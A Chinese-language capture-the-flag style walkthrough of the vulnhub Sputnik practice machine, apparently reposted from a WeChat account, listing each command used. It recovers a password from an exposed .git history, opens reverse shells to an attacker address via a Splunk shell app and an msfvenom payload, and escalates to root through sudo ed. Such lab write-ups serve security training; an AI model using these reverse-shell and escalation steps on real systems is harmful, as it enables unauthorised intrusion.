本周实践的是vulnhub的Sputnik镜像,
下载地址,https://download.vulnhub.com/sputnik/Sputnik.ova,
用virtualbox导入成功,
做地址扫描,sudo netdiscover -r 192.168.31.0/24,
获取到靶机地址是192.168.31.246,
继续做端口扫描,sudo nmap -sS -sV -T5 -A -p- 192.168.31.246,
192.168.31.246:55555/.git和61337/tcp open http Splunkd,
浏览器访问http://192.168.31.246:55555/.git,获取到一些目录文件,
进到logs目录,获取到https://github.com/ameerpornillos/flappy.git
git clone https://github.com/ameerpornillos/flappy,
发现了07fda135aae22fa7869b3de9e450ff7cacfbc717,
git ls-tree 07fda135aae22fa7869b3de9e450ff7cacfbc717,
获取到f4385198ce1cab56e0b2a1c55e8863040045b085,
git show f4385198ce1cab56e0b2a1c55e8863040045b085,
获取到用户名密码,sputnik:ameer_says_thank_you_and_good_job,
用上面获取到的用户名密码登录http://192.168.31.246:61337,
下载app,https://github.com/TBGSecurity/splunk_shells/archive/1.2.tar.gz,上传到splunk,
在splunk搜索里执行| revshell std 192.168.31.211 4444,
msfvenom -p cmd/unix/reverse_python lhost=192.168.31.211 lport=4455 R,
新开启一个反弹shell监听,nc -lvp 4455,
转成交互式shell,python -c 'import pty;pty.spawn("/bin/bash")',
查看root权限,sudo -l,获取到/bin/ed,
提权,sudo ed,!/bin/sh,id确认是root,
原文始发于微信公众号(云计算和网络安全技术实践):vulnhub之Sputnik的实践
评论